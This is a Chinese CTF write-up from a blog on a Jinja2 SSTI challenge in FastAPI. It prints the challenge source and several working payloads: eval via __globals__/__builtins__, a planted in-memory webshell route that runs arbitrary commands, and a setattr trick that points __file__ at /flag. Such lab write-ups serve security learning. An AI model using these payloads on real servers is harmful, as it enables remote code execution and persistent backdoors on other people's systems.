SSTI-GoldenHornKing
题目:[巅峰极客 2024]GoldenHornKing
题目源码:
import os # 导入操作系统相关的模块
import jinja2 # 导入 Jinja2 模板引擎模块
import functools # 导入工具函数模块,提供高阶函数
import uvicorn # 导入 Uvicorn,用于运行 ASGI 应用
from fastapi import FastAPI # 从 FastAPI 库中导入 FastAPI 类,用于创建应用
from fastapi.templating import Jinja2Templates # 从 FastAPI 导入 Jinja2Templates,用于模板渲染
from anyio import fail_after, sleep # 从 anyio 库中导入 fail_after 用于设置超时,以及 sleep 用于异步睡眠
# 指定所使用的库的版本:
# jinja2==3.1.2
# uvicorn==0.30.5
# fastapi==0.112.0
def timeout_after(timeout: int = 1): # 定义一个超时装饰器,默认超时时间为1秒
def decorator(func): # 接收一个函数作为参数
@functools.wraps(func) # 保留被装饰函数的元信息
async def wrapper(*args, **kwargs): # 定义一个异步包装函数
with fail_after(timeout): # 在指定的超时时间内执行被装饰的函数
return await func(*args, **kwargs) # 等待并返回被装饰函数的执行结果
return wrapper # 返回包装函数
return decorator # 返回装饰器函数
app = FastAPI() # 创建一个 FastAPI 应用实例
access = False # 定义一个全局变量,用于控制访问权限
_base_path = os.path.dirname(os.path.abspath(__file__)) # 获取当前文件的绝对路径,并提取其目录路径
t = Jinja2Templates(directory=_base_path) # 创建一个 Jinja2Templates 实例,指定模板文件的目录
@app.get("/") # 定义一个处理根路径的 GET 请求的路由
@timeout_after(1) # 使用超时装饰器,设置超时时间为1秒
async def index(): # 定义异步处理函数
return open(__file__, 'r').read() # 打开当前文件并读取其内容,作为响应返回
@app.get("/calc") # 定义一个处理 /calc 路径的 GET 请求的路由
@timeout_after(1) # 使用超时装饰器,设置超时时间为1秒
async def ssti(calc_req: str): # 定义异步处理函数,接收一个字符串参数 calc_req
global access # 声明使用全局变量 access
if (any(char.isdigit() for char in calc_req)) or ("%\" in calc_req) or not calc_req.isascii() or access:
# 检查 calc_req 中是否包含数字字符,或者包含字符 '%',或者是否全为 ASCII 字符,或者 access 为 True
return "bad char" # 如果满足上述任意条件,返回 "bad char"
else:
jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})
# 使用 Jinja2 模板引擎渲染 calc_req 表达式,传递 app 对象作为上下文
access = True # 设置 access 为 True,限制进一步访问
return "fight" # 返回 "fight"
if __name__ == "__main__": # 判断是否为主程序入口
uvicorn.run(app, host="0.0.0.0", port=8000) # 使用 Uvicorn 运行应用,监听所有网络接口的8000端口
是一个jinja2的SSTI,限制是不能包含数字字符,或者包含字符 '%',或者是全为 ASCII 字符,或者 access 为 True
同时,只要一次access 为 True后便无法再次输入,得重启环境
方法1:直接访问/shell路由
app.add_url_rule('/flag',lambda:__import__('os').popen('cat /flag').read())
转为SSTIpayload应该如下,由于是FastAPI,add_url_rule换成add_api_route。同时绕过了题目限制,通过lambda匿名函数返回期望的值,通过匿名函数参数实现控制执行的命令
{{config.__class__.__init__.__globals__['__builtins__'].eval("__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/flag', lambda:__import__('os').popen('cat /flag').read())")}}
payload:
/calc?calc_req=config.__class__.__init__.__globals__['__builtins__'].eval("__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/flag',lambda:__import__('os').popen('cat /flag').read())")
访问http://xxx/flag路由读取flag
方法2:打内存马进行rce
打FastAPI内存马,在FastAPI类有一个add_api_route方法,我们可以通过这个方法来增加一个路由,进行rce
app.add_api_route('/shell', lambda: __import__('os').popen('whoami').read())
我们需要再eval里重新获取一遍app也就是FastAPI的对象。
__import__('sys').modules['__main__'].__dict__['app']
- sys.modules:sys 模块中有一个名为 modules 的字典,它维护了所有已导入模块的当前状态。这个字典的键是模块的名称,而值是对应的模块对象。
modules['__main__']:__main__是运行 Python 程序的主模块,无论是直接从命令行运行的脚本,还是通过某个执行环境运行的代码。通过sys.modules['__main__'],我们获取到了当前执行程序的主模块对象。__dict__:每个模块对象都有一个__dict__属性,它是一个字典,包含了模块内定义的所有全局变量和函数。- ['app']:最后,从模块的
__dict__中获取名为 app 的对象。
然后整合以下payload:
app.__init__.__globals__.__builtins__.eval("__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/shell', lambda :__import__('os').popen('cat /flag').read())")
现在访问/shell就可以拿到flag了
或者:
需要获取到eval或者exec,也就是获取到__globals__['__builtins__']['eval'],获取__globals__的方法很多,这里使用源码中引入的sleep,构造好的payload如下:
sleep.__init__.__globals__["__builtins__"]["eval"]("__import__('sys').modules['__main__'].app.add_api_route(path='/cmd',endpoint=lambda cmd :__import__('os').popen(cmd).read())")
##访问http://xxx/cmd?cmd=cat /flag
##这里把sleep换成app也行,app在题目的源码中也定义了
##
__globals__ 为什么这么重要?
这才是这段代码的核心目的。
__globals__:它保存了当前文件(模块)里所有的全局变量。
['__builtins__']:在__globals__ 里,有一个特殊的键叫 __builtins__。它包含了 Python 所有的内置函数(比如 eval , exec , open , import 等)。
攻击链条逻辑:
起点:题目引入了 sleep 函数(这是一个已知的、可用的东西)。
跳跃 1:通过 sleep.__init__.__globals__(或者更直接的 sleep.__globals__)拿到全局环境。
跳跃 2:在全局环境里找到 __builtins__(内置函数库)。
跳跃 3:从内置函数库里拿到 eval 或 exec (这两个是终极武器,可以执行任意代码)。
方法3:修改__file__进行任意文件读取p
@app.get("/")
@timeout_after(1)
async def index():
return open(__file__).read()
在跟路由读取了当前代码文件内容,并输出到网页上。那么如果我们能修改__file__为/flag那么访问根路由就能拿到flag了。
__file__在全局变量globals里有
setattr(__import__('sys').modules['__main__'],'__file__','/flag')
使用setattr(object, name, value)方法修改对象的属性值。
object -- 对象。 name -- 字符串,对象属性。 value -- 属性值。Q:为什么不用
__import__('sys').modules['__main__'].__dict__,__file__明明在这里面啊?A:因为setattr函数的第一个值是一个对象,
__dict__是__main__的一个属性,并不是一个对象。
整合一下payload:
app.__init__.__globals__.__builtins__.eval("setattr(__import__('sys').modules['__main__'],'__file__','/flag')")
注:有时候可以直接尝试{{system('ls')}}
from flask import Flask, render_template_string
import os
app = Flask(__name__)
@app.route('/')
def index():
# 出题人故意(或失误)将 system 函数传给了模板
# 这里的 system='os.system' 相当于在模板里定义了一个叫 system 的变量
return render_template_string("Hello! {{ system('whoami') }}", system=os.system)
此时,模板里的 {{ system(...) }} 就等同于在后端执行 os.system(...)
本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20627646

浙公网安备 33010602011771号